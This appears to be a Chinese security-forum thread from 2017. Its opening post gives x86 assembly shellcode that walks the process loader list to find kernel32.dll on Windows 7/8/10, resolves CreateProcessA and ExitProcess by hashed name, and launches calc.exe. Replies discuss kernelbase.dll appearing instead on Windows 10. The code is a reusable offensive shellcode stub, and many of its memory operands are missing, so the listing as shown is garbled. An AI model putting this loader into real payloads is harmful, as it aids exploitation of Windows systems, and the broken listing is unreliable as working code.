win7/8/10通用获取kernel32基地址的shellcode代码
本帖最后由 chaosregion 于 2017-7-29 17:47 编辑很早以前写的,现在又需要重温,呵呵。
太着急,没有写亮点。有新手没有看清楚。
我们写shellcode时,总是需要找到kernel32的首地址,然后再找到自己需要函数地址,但是kernel32的首地址在不同的Windows版本用一个shellcode可不是那么容易找到的。
win8的某些版本,kernel32的字符串为Kernel32.dll,第一个字母是大写。
另外需要通过进程的dll加载链找到kernel32的地址,就需要进行循环查找,一般是第二个dll,第一个是ntdll.dll。
但是有没有不是kernel32.dll的呢,有没有可能是kernelbase.dll呢,你告诉我吧。为什么进程加载的第二个dll必须是kernel32.dll。
.386
.modelflat,stdcall
option casemap:none
include windows.inc
.code
start:
assume fs:nothing
push ebp
xor ecx,ecx
mov edx,dword ptr fs:
mov eax,dword ptr
mov esi,dword ptr
next_module:
mov ebp,dword ptr
mov edi,dword ptr
mov esi,dword ptr
xor eax,eax
add_kerstr:
add ax,word ptr ; 累加模块名字符串
cmp word ptr,0
je judge
inc edi
inc edi
jmp add_kerstr
judge:
cmp ax,330h ; up 大写kernel32.dll
je got_it
cmp ax,450h ; low 小写kernel32.dll
jne next_module
got_it:
mov edi,ebp ;取得kernel32.dll基地址
push ebp
mov ebp,esp
sub esp,130h
mov dword ptr,edi
push 16B3FE72h ;CreateProcessA
push dword ptr
call GetApiAddress
mov dword ptr,eax
push 73E2D87Eh ;ExitProcess
push dword ptr
call GetApiAddress
mov dword ptr,eax
mov dword ptr,636c6163h
mov dword ptr,6578652eh
mov dword ptr,0h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; CreateProcess calc.exe
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
lea edi,dword ptr
push edi
lea edi,dword ptr
xor eax,eax
mov ecx,44h
push ecx
rep stos byte ptr es:
pop ecx
lea edi,dword ptr
mov dword ptr,ecx
push edi
push 0
push 0
push 8000000h
push 0
push 0
push 0
lea eax,dword ptr
push eax ; calc.exe
push 0
call dword ptr ;CreateProcess
push 0
call dword ptr ;ExitProcess
GetApiAddress proc KernelBaseAddress:dword, EncryptNum:dword
LOCAL ReturnValue:dword
pushad
mov edi,KernelBaseAddress
mov eax,dword ptr
mov edx,dword ptr ;IMAGE_EXPORT_DIRECTORY
add edx,edi
mov ecx,dword ptr;名称导出的函数总数
mov ebx,dword ptr;函数名地址表
add ebx,edi
push edx ;保存edx
NotFound:
jecxz ExitGetApi
dec ecx
mov esi,dword ptr;从最后一个函数名开始查找 Address of names
add esi,edi
xor eax,eax
cdq
LoopChar:
lods byte ptr
test al,al
je CharEnd
ror edx,0dh ;对字符串进行hash运算
add edx,eax
jmp LoopChar
CharEnd:
cmp edx,EncryptNum
jnz NotFound
pop edx ; 恢复edx
mov ebx,dword ptr ; 函数序号表Address of name ordinals
add ebx,edi
mov cx,word ptr ; 找到了函数的序号
mov ebx,dword ptr ; 函数地址表
add ebx,edi
add edi,dword ptr ;由序号得出函数的rva
mov ReturnValue,edi
ExitGetApi:
popad
mov eax,ReturnValue
ret
GetApiAddress endp
end start
感谢分享 我的就是kernelbase阿,用的shellcode导致exitprocess不能正常运行 sudo777 发表于 2017-8-22 18:37
我的就是kernelbase阿,用的shellcode导致exitprocess不能正常运行
你倒是说清楚啊,什么系统?什么版本?怎样测试的?你这没头没脑我想测试修改都难。 chaosregion 发表于 2017-8-25 08:50
你倒是说清楚啊,什么系统?什么版本?怎样测试的?你这没头没脑我想测试修改都难。
阿 我是附议你之前说的为什么第二个节点必须是kernel32.dll,我的系统是win10,用查找第二个节点的方法在win10上找到的dll是kernelBase.dll 呵呵,可能我的表达不清楚,第二个dll当然不一定是kernel32.dll如果是64位系统,第二个加载的dll还会有变化,只是为了让大家思考而已。注意我上面一句话说的,一般是第二个dll,不是的海了去了,呵呵。 {:1_906:}我的天,我看了一个晚上论坛,什么都没看懂 看不懂汇编{:1_907:}有c或者c++的最好啦
支持原创!
页:
[1]